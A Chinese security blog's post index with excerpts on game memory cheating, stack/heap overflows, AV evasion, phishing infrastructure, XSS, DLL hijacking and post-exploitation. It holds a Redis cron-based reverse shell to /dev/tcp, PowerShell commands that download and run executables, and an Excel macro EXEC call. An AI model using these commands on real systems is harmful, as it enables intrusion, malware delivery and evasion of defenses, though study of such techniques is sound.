CSGO破解学习(八)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
透视
看到CS的显示模式是通过OpenGL来做到的,这个是微软官方的动态链接库
作为图形硬件的软件接口,OpenGL 的主要用途是将二维和三维对象呈现为框架缓冲区。 这些对象被描述为顶点序列,这些顶点 (定义几何对象) 或像素 (定义图像) 。 OpenGL 对此数据执行多个过程,以将其转换为像素,以在帧缓冲区中形成最终所需的图像。
以下主题演示 OpenGL 工作原理的全局视图:
基元和命令 将点、线段和多边形作为绘图的基本单位进行讨论:以及命令的处理。
OpenGL 图形控件 描述哪些图形操作 OpenGL 控件及其不控制。
执行模型 讨论用于解释 OpenGL 命令的客户端/服务器模型。
基本 OpenGL 操作提供有关 OpenGL 如何处理数据以在帧缓冲区中生成相应图像的高级说明。
OpenGL 函数名称描述 OpenGL 中使用的命名约定。
我们只需要关注两个函数
openGL32.dll -> gl ...
CSGO破解学习(七)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
分析游戏的结构体
首先我们拿出我们之前的基地址进行结构体分析
然后往下拉找到7C 这个位置
打开有这些结构体,我们一个一个的点开看,7C的00便宜没有什么数据,但是04偏移打开竟然看到了我们的指针
那么X坐标的真实偏移应该是cstrike.exe+11069BC+7C+04+08,而不是cstrike.exe+11069BC+88,那么我们就可以印证了上一篇的猜想
查找准心指向
我们首先新建一个未知的扫描(新建的时候需要把准心对着墙壁),然后把准心对着自己队友后选择变化了,然后移到墙上搜索变化了,往复搜索最终会得到
这些数据,然后我们在跑到敌人的位置,把准心对着敌人然后在搜索变化了
就剩下这几个值,接着我们对着另一个敌人
可以看到一个值还是2,而一个值变成了6,那么我们就根据之前搜索到的数据来判断,09E1DBD8这个是阵营,09E1DBDC是敌人编号,然后我们看之前的偏移值
和上面的偏移相差不大,所以就得到了下 ...
CSGO破解学习(六)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
获取手雷地址
首先需要找到手雷的基地址,通过买手雷,然后丢了,然后在买进行搜索
然后在基地址中筛选最终的值为0583D9F8接着找基地址,右键查看什么修改了它
可以看到这个值和我们之前的不太一样,它是ecx+eax*4+000005F8 也就是说0583D3D0+C*4+5F8,算出结果是0583D3D0+628,接着使用结构体的方式来确认数值
为什么上图的地址是18B19630而不是0583D3D0了是因为我切换了地图
猜测以及思考
通过找了这么多的数据,我们可以进行一下分析,大概可以猜测一下人物的结构体
cstrike.exe+11069BC+7c存放的是整个人物的基址
cstrike.exe+11069BC+7c+4存放的关于游戏内人物具体属性的具体地址
cstrike.exe+11069BC+7c+5F0 存放的是使用武器的地址
我们通过猜测结构体,来到具体的内存位置,对人物进行操作,然后对内存进行观察,可以 ...
CSGO破解学习(五)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前置
CSGO版本更改为v3248(对之前版本的基地址进行了修改)
获取自己和敌人坐标
首先站在平面上搜索单浮点
然后在最低点的石头上搜索增加的值
接着走到顶还是搜索增加的值
接着跳下来搜索减少的
然后乱动搜索未变动的
然后跳起来的瞬间搜索变动的值
接着一个值一个值的去测试,但是这种很大的值和0都不用管它,找那种大量一样的值,然后批量选择按空格键锁定,看下人物能不能调高,如果不行那么就表示这个值是对的,最终锁定了这个值
然后就是通过老方法找基址了
接着搜索
一下子就找到了,一个是我们的地址,一个是敌人的地址,接着浏览相关内存区域
就能找到X和Y的坐标了
然后同理找到我们和敌人共用的内存地址
然后验证下
切记要等他指针变成不是你自己地址的时候去修改他
随时下包
首先搜索未知地址然后进入到下包点
看到这个变成红绿闪烁的时候搜索变动的值,然后离开下包点
等这个变成绿色的时候再次搜索变动的,以此往复
...
CSGO破解学习(四)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
手枪连发
查找方式和之前的无后座力一样的操作,通过浏览内存地址区域(当前角色的主武器子弹地址),然后我们可以看到,开枪后按住左键只有一个地址在疯狂跳动,松开武器后直接变为了0
我们把这个地址添加到列表中,然后锁定他
可以看到手枪变成了冲锋枪,然后通过基地址一查,和冲锋枪的无后座力是同一个值,我们锁定无后座力的值查看
辨别敌我
首先添加3个机器人,然后按~键弹出控制面板,输入bot_stop 1
接着把准心对着敌人进行进行搜索未知初始值
然后把准心移开后搜索变动的值
接着乱跑乱动后搜索未变动的值
接着把准心再次放到敌人身上搜索变动的值,后重复这些动作
最终只剩下这些值以后,当我们把鼠标当道敌人身上可以看到绿色和黑色的地址中有一个值06689B2C和01A01F14都是为2,而06689B30和01A01F18显示不同的数值,接下来我们切换到自己的阵营看看
06689B2C和01A01F14的值变成了1,而066 ...
CSGO破解学习(三)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
被攻击不减速
有两种方式来搜索这个地址
编辑->热键,然后在变动的数值和未变动的数值中设置快捷键,然后通过在扫描类型中选择:未知的初始化值,然后在被攻击的时候按变动的数值快捷键,未被攻击的时候按未变动的数值快捷键,来找出值(速度巨慢)
根据C++结构体的方式来查找
我们可以看到所有当前角色的指针都是cstrike.exe+D6E63C+7C然后加上某个值,那么我们就认为它代表的是这个游戏中当前角色,所有我们使用cstrike.exe+D6E63C+7C+5E8的这个值来查找,右键浏览相关内存区域
接着查看在内存区域右键切换数据类型
最后就在攻击和被攻击的时候分别查看上面一块区域和下面一块区域的内存地址,找到想符合的值,就是这个人物结构体上下找相关的值
图中纵坐标0066C5670横坐标38位置的值可以看到我们被攻击了就变成了小于1的值,如果不被攻击就为1,我们就断定他就是被攻击的小数值,然后我们右键这个值然后把 ...
SMB匿名访问共享
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
kali
修改文件/etc/samba/smb.conf,内容如下:
[global] map to guest = bad user server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445[smb] comment = Samba path = /tmp/ guest ok = yes read only = no browsable = yes
然后启动服务
service smbd start service nmbd start
然后挂在共享目录
mount -t cifs //192.168.50.28/ascotbe /tmp
然后访问的Windows需要开启这个设置
windows
启用Gue ...
CSGO破解学习(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
搜索血量
在搜索血量的时候我按着之前子弹的办法来搜索,结果找不到具体的值,后面发现血量有可能是单浮点,而并不是我们看到的那个整数
然后我们购买炸弹o+4进行购买,然后炸自己(别炸死了),就按这种方式一直搜索,然后找到黑色的地址通过验证子弹的方式来验证,最终找到如下临时地址
接着按着子弹的方式去找他的基址
然后搜索这个地址可以找到四个值,使用这个方法来查找
为什么选这个地址?因为只有这个地址改变了,其他的没变
为什么要使用这个方法?因为使用了找出是什么改写了这个地址无法准确的定位到上一级的地址
可以看到值在疯狂的刷新,然后再次搜索0A167E38
依旧找到了一个疯狂刷新的值,接着找到了0AA5DADC这个值,然后继续搜索
看看我们发现了什么?和我们子弹的基址是一样的,那么我们就可以断定,这个值是我们当前角色的基址,而另一个是所有玩家的基址,最终我们得到了如下结果
然后我们添加机器人验证,可以看到所有人血量的地 ...
CSGO破解学习(一)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
准备工作
CSGO1.6版本
分卷1
分卷2
分卷3
Cheat Engine下载地址
搜索子弹
在正式开始前还是需要一些基本的使用知识,首先我们通过内存搜索子弹,然后基于二分法进行筛选数据
上面是我们搜索出来的数据,暂时把它定义为当前地图当前身份当前人物手持的这一把AK枪的子弹内存
为什么要这样喊呢?因为在游戏里面会有多个数据结构环环嵌套,指针一个指向一个进行套娃
我们通过:右键该内存->找出是什么改写了这个地址
然后我们点击手动添加地址把06F03960加上偏移CC,即可显示当前枪械的子弹
所以06F03960就是我们上一级的地址,我们只需要使用新的扫描来搜索
可以看到4个地址,接下来我们回到游戏,把主武器丢弃查看变化
可以看到第一个地址的值变为了00000000,那我们可以知道这个地址是当前主武器的名称,而里面的06F03960是这个武器的名称。我们尝试丢弃主武器后重新换一把枪
接下 ...
Linux栈溢出总结(0x00)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离第一篇栈溢出学习文章已经过去了1年半了,今天看到一篇文章终于解决了之前的一些疑惑,也理清了很多东西,记录一下,原文地址
https://mp.weixin.qq.com/s/cmLp5aHfqy1-wYiNiqdq-Q
什么是栈
简单来说,栈 是一种 LIFO(Last In Frist Out,后进先出) 形式的数据结构。栈一般是从高地址向低地址增长,并且栈支持 push(入栈) 和 pop(出栈) 两个操作。如下图所示:
push 操作先将 栈顶(sp指针) 向下移动一个位置,然后将数据写入到新的栈顶;而 pop 操作会从 栈顶 读取数据,并且将 栈顶(sp指针) 向上移动一个位置。
例如,将 0x100 压入栈,过程如下图所示:
我们再来看看 出栈 操作,如下图所示:
栈帧
栈帧,也就是 Sack Frame,其本质就是一种栈,只是这种栈专门用于保存函数调用过程中的各种信息(参数,返回地址,本地变量等 ...
Go使用WindowsApi笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在学Go相关的免杀,来提高木马的存活性,看到一些有意思的东西记下来
加载DLL
要在Go中加载DLL,可以使用syscall.NewLazyDLL或syscall.LoadLibrary 以及syscall.MustLoadDLL。
NewLazyDLL返回一个*LazyDLL,懒加载,只在第一次调用其函数时才加载库;
LoadLibrary是立即加载DLL库。
创建函数
syscall.NewLazyDLL
package mainimport ( "syscall" "unsafe")func main() { user32 := syscall.NewLazyDLL("user32.dll") MessageBoxW := user32.NewProc("MessageBoxW") MessageBoxW.Call ...
关于邮件钓鱼的哪些事(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
首先需要编写一个钓鱼一键化平台,然后进入我们的正题
搭建邮件服务器
首先卸载Postfix
如果没有Postfix就跳过
sudo systemctl stop postfixsudo apt remove postfix && apt purge postfix
安装Sendmail
sudo apt install sendmail
配置Sendmail服务器
sudo sendmailconfig
接收输入电子邮件
编辑/etc/mail/sendmail.mc
DAEMON_OPTIONS(`Family=inet, Name=MTA-v4, Port=smtp, Addr=127.0.0.1')dnlDAEMON_OPTIONS(`Family=inet, Name=MSP-v4, Port=submission, M=Ea, Addr=127.0.0.1')dnl# ...
Redis写SHELL
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
通过计划任务获取SHELL
首先进行连接
redis-cli -h 192.168.251.17 -p 6379
然后设置文件夹路径
config set dir /var/spool/cron/crontabs
如果出现(error) ERR Changing directory: Permission denied标明Redis并不是root权限启动的,权限不足,需要使用redis-server /etc/redis/redis.conf来启动程序,不能使用service redis start来启动
接着修改文件,Ubuntu的计划任务是在这个文件中
config set dbfilename root
设置计划任务,需要添加\n符号,因为写进去后会有很多无用数据
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.251.16/8899 0&g ...
常见工具特征去除
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
FRP改造
改造之前
在受害者机器上使用frpc.exe -c frpc_socker.ini连接服务起的时候,会产生一个这种数据校检
流量改造
pkg\msg\msg.go
这几个函数中保存着上面的信息
我在前加个了前缀
而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下
改成随便一个版本
结果如下
编译方式
首先执行make会进行一些GitHub的包下载(最好使用代理
接着执行make -f Makefile.cross-compiles进行编译
配置文件改造
全称只需要修改这个文件cmd/frpc/sub/root.go
先修改var位置,添加ip、port、fileContent这三个参数
var ( cfgFile string showVersion bool serverAddr string user ...
蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容
样本
文件类型
PE32 executable (console) Intel 80386, for MS Windows
文件大小
31KB
MD5
8d42c01180be7588a2a68ad96dd0cf85
SHA1
89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
时间戳
0x5C32FC2B (Mon Jan 07 15:13:47 2019)
PDB
c:\Users\Asterix\Documents\Visual Studio 2008\Projects\ ...
Linux堆溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
HVV结束,终于能闲下来学习了,开新坑啦~好耶~
记个小知识点
libc是Linux下的ANSI C函数库。
glibc是Linux下的GUN C函数库。
Linux下原来的标准c库Linux libc逐渐不再被维护。Linux下面的标准c库不仅有这一个,如uclibc、klibc,以及上面被提到的Linux libc,但是glibc无疑是用得最多的。glibc在/lib目录下的.so文件为libc.so.6。
堆内存管理机制介绍
不同平台的堆内存管理机制不相同,下面是几个常见平台的堆内存管理机制:
平台
堆内存分配机制
General purpose allocator
dlmalloc
glibc
ptmalloc2
free BSD and Firefox
jemalloc
Google
tcmalloc
Solaris
libumem
在 Linux 的 g ...
Linux栈溢出总结(0x03)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久
记录
几个未填坑的点
如何计算出TLS的offset大小(EXP抄的,我也懵
SSP题目中,为什么当可执行文件足够小的时候,他的不同区段可能会被多次映射?
绕过PIE保护
测试代码(题目泄露地址)
//test.c#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { printf("%p\n",&main); vuln_func(); write(STDOUT_FILENO, "Hello world!\n&qu ...
Office Excel Macro
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
好久没笼统的学习了,梳理下Excel宏相关的东西以防下次要用的时候都不会。
关于宏
据我所知微软office所支持的宏里面,目前有两种
1992年:微软在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。
1993年:微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。
从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。
Macro 4.0
简单利用
在箭头位置点击右键->插入即可使用
接着会出现一个新建的宏表格,我们在表格中添加如下命令,即可完成一个简单的宏
=EXEC("calc.exe")=ALERT("hello ascotb ...
从零开始编写XSS平台
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~
项目地址:https://github.com/Ascotbe/Medusa
什么是XSS
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading S ...
Linux ELF格式解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在写PE结构解析的时候,以为ELF结构没必要去看文件结构,直到后面做了PWN题发现不是这样的,所有还是学习下ELF结构,然后再写个解析器
常见结构区分
目前,PC平台流行的可执行文件格式(Executable)主要包含如下两种,它们都是COFF(Common File Format)格式的变种
Windows下的PE(Portable Executable)
Linux下的ELF(Executable Linkable Format)
源代码经过编译后但未进行连接的那些中间文件(Windows的.obj和Linux的.o),它与可执行文件的格式非常相似,所以一般跟可执行文件格式一起采用同一种格式存储。
其中动态链接库(DDL,Dynamic Linking Library)和静态链接库(Static Linking Library)的格式都和当前系统对应的可执行文件结构一样
动态链接库:Windows的.dl ...
Linux栈溢出总结(0x02)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了
写在前面的几个笔记
CALL和RET指令解释
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列
AMD64和i386的区别
由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下
首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI、RSI、RDX、RCX、 R8和R9中,如果还有更多的参数的 ...
Linux栈溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
记录下自己学习堆栈溢出的内容,这篇就是栈溢出入门的东西,也算是栈溢出总结的上篇,缝合怪文章大部分都是参考各个师傅的文章。写文章的初心是为了总结梳理下自己的学习过程。22年重新修改部分内容
栈溢出利用方式
ROP(修改返回地址,让其指向内存中已有的一段指令
ret2shellcode(修改返回地址,让其指向溢出数据中的一段指令
ret2libc(修改返回地址,让其指向内存中已有的某个函数
BROP
ret2dl-resolve
SROP
常用保护机制
CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击 ...
恶意程序研究之DLL劫持
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
DLL劫持
DLL劫持一直深受黑客们的喜欢,利用此技术可以实现启动木马后门,游戏外挂插件的注入,绕过UAC等操作。
全文约定:全文中系统盘所在的位置默认为C盘
DLL加载顺序
DLL是以文件的形式存在在硬盘中,那么应用程序又是如何索引所需的DLL呢?其实,Microsoft已在此处完整记录了DLL搜索顺序。
微软的DLL劫持分为三个阶段
无保护阶段:Windows XP SP2之前
保护阶段:Windows XP SP2之后,Windows 7之前
进一步保护阶段:Windows 7之后
Windows XP SP2之前
进程对应的应用程序所在目录;
加载 DLL 时所在的当前目录;
系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
16位系统目录即 SYSTEM 目录;
Windows目录(通过 GetWindowsDirectory 获取);
PATH环境变量中的各个目录 ...
Windows杂谈
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
梳理Windows的历史
Windows杂谈
微软于1985年11月20日推出了名为Windows的操作系统,作为MS-DOS的图形操作系统外壳,而MacOS是1984年推出的。并且Windows 10是微软最后一个版本的操作系统,不在会有像Windows 7 和Windows 7 sp1 或者sp2这种升级,而是统一使用Windows 10 1507这样的编号。
Windows内核区别
MS-DOS
1980年,西雅图计算机产品公司的一名24岁的程序员Tim Paterson(蒂姆·帕特森)花费了四个月时间编写出了 86-DOS 操作系统。1981年7月,微软以五万美元的代价向西雅图公司购得本产品的全部著作权,并将它更名为 MS-DOS。
MS-DOS源码下载
https://computerhistory.org/blogs/microsoft-research-license-agreement-msdo ...
关于邮件钓鱼的哪些事
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
漏洞利用那一节放到下篇吧,复现环境有点难找
测试环境
kail-2019.4
windows7 sp1 x64
windows10 x64
Office宏
首先来区别下Word和Excel各种后缀中的区别
Word文档
97-2003的旧版本文件名后缀就是**.doc**
从2007版以后后缀名是**.docx**
docx厉害一点。它是被压缩过的文档,体积更小,能处理更加复杂的内容,访问速度更快。
如果把docx的改为zip的话可以解压出里面的所有数据,不过空文档大部分都是XM格式的文件
Excel表格
xls是一个特有的二进制格式,其核心结构是复合文档类型的结构,而xlsx的核心结构是XML类型的结构,采用的是基于XML的压缩方式,使其占用的空间更小。xlsx中最后一个x的意义就在于此。
xls是2003版本下的文件 ,不管有没有宏程序的话都是xls文件 ,从2007开始做了区分,xlsm文件和xlsx文件都是 ...
XXE的一些利用方式
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第四篇文章了,我感觉要肝不动了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
XXE是什么
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
基础知识
XML是一种用于标记电子文件使其具有结构性的标记 ...
信息收集总结
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第三篇文章了,目前只写了个GitHub的使用方法,等周六周天补充吧
Github搜索语法
众所周知,GitHub就是信息泄露的宝库之一,用好语法天天高危来敲你家门(逃
相关语法
查询大于或小于另一个值的值
您可以使用>,>=,<,和<=搜索是大于,大于或等于,小于和小于或等于另一个值的值。
查询
示例
>n
cats stars:>1000 匹配含有 “cats” 字样、星标超过 1000 个的仓库。
>=n
cats topics:>=5 匹配含有 “cats” 字样、有 5 个或更多主题的仓库。
<n
cats size:<10000 匹配小于 10 KB 的文件中含有 “cats” 字样的代码。
<=n
cats stars:<=50 匹配含有 “cats” 字样、星标不超过 50 个的仓库。
...
解决安卓单向/双向认证导致无法抓包
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
本文思路来着公众号小和尚的安全之路,菜鸡的我周天面试被社会毒打了一顿,问了双向认证问题,但是这玩意我没接触过,刚好今天看到一篇文章,学习一下
首先准备工作
XposedInstaller(Xposed安装器)
JustTrustMe(禁用SSL)
ida pro(静态逆向程序)
JEB(apk解包程序)
test.apk(目标程序)
所需文件位置下载
https://github.com/Ascotbe/virus/blob/master/HttpCertificate
解决单向认证
安装Xposed框架
刚开始安装好APK是显示框架未安装的
点击这个安装
xuanz安装
接着点击安装
然后从起后就能看到安装成功了
安装JustTrusMe模块
点击左上角的菜单
然后选着模块
勾选就好了,这样就解决了单向认证,可以绕过客户端校验了
解决双向认证
我们来把目标程序抓个包
可以看到服务器显示为400 ...
利用系统组件远程下载木马
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
我知道上篇文章没有写完,但是把看到什么学什么,要终结的嘛你说是吧(ps:后续有其他方法也会更新到这里的
Windows
命令行自带工具
PowerShell
PowerShell是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的 shell 不同,PowerShell构建在 .NET公共语言运行时 (CLR) 的基础之上,接受并返回.NET对象,这从根本上的改变引入了全新的自动化工具和方法。
远程下载文件到本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.183.138:8000/test.txt','test.exe')
直接把文本转换为exe文件运行,无残留文件
powershell -nop -w hidden -c &qu ...
PE解析器
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
之前为了学习PE结构知识恶补了一下相关文章,然后使用010 Editor这个软件也可以完整的读取出PE的结构和字段,但是这都是别人写好的,自己没有玩过一遍的东西都不叫学过,那只能叫见过所以就有了这篇文章,各位看官别急需要几天时间才能搞定,毕竟还不熟悉如果有哪里写错了,忘各位斧正!(PS:当前代码输出不够美观后期会修改)
使用环境
Visual Studio 2019 (宇宙最强编译器
windows 10
前置知识
恶意程序研究之PE结构梳理
获取文件映象
首先介绍下内存映射文件技术作用
使用内存映射文件来访问磁盘上的数据文件。这使你可以不必对文件执行I/O操作,并且可以不必对文件内容进行缓存.
可以使用内存映射文件,使同一台计算机上运行的多个进程能够相互之间共享数据。windows确实提供了其他一些方法,以便在进程之间进行数据通信,但是这些方法都是使用内存映射文件来实现的,诸如使用SendMessage或者Post ...
木马绕过虚拟机
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
新篇章开始了,主要讲一些探测沙盒以及编译工具的方法,之前我写的那个勒索病毒用到的大部分方法我都会总结到这里,也会参考一些师傅的文章,算是一个巩固吧,最后会把所有代码上传到GitHub中,之前免杀里面说的一些像加密之类的操作这里就不在重复写了。
这是半成品,还有几个代码没敲完,还有点瑕疵
从编译角度来看免杀
全篇文章以免杀中的VirtualAllocPlanA作为基础例子来验证我们的猜想,
删除链接库
有些反病毒软件会识别链接器中的问题,如果说xxx.lib这些编译器会自动帮我们加上,如果把链接器选项中的其他依赖项删除掉(尤其是kernel32.lib),某些反恶意软件引擎就不会把生成的可执行文件标记为恶意的。
这是系统自带的附加依赖,我们生产后放到TV中查杀看看
可以看到免杀率为28/72
接着把附加依赖项删除了,重新生成
可以看到我们绕过了5家杀软,免杀率23/72
知道PE原理的小伙伴可能会说把这个删了文件就 ...
Meterpreter后渗透常用命令
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
写免杀的时候在想,msf连上后能干啥?之前只有大概的了解下,具体没怎么实操,后面把之前写的文章过了一遍,然后谷歌了一下发现还有好多不知道的地方借此删除了去年写的那篇文章合并到了一起,本篇会持续更新,如果看到师傅们有什么新奇的操作都会记录下来
Metasploit体系框架
文件目录解析
核心文件包括data、modules、scripts、tools、plugins
data
该文件里常用的的功能在wordlists(字典)里面
modules
该文件夹里包括了msf最核心的几个文件
auxiliary(漏洞辅助模块一般是没有攻击载荷的漏洞攻击)Exploits(渗透攻击模块)st(开发模块)pads(漏洞负载模块)Encode码器模块)Nops(空指令模块>
scripts
该文件夹里面包含这各种脚本
tools
该文件夹中存放着大量的使用工具
plugins
该文件夹放着大量插件
系统命令
基本系统命令
ses ...
自定义ShellCode
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
终于写完了,应该挺详细的,奥利给
环境配置讲解
当前项目使用的vs2019,其他vs编译器都可以
清除多余的函数
首先创建一个项目,然后什么配置都不修改使用release生成如下代码
int main(){ return 0;}
然后我们把生成的exe文件放到ida里面去可以看到下图,明明我们什么函数都没有加为什么会多出这么多函数呢?
其实这些函数都是vs编译器自动帮我加进去的,我们的代码段加上这些函数就组成了一个PE文件
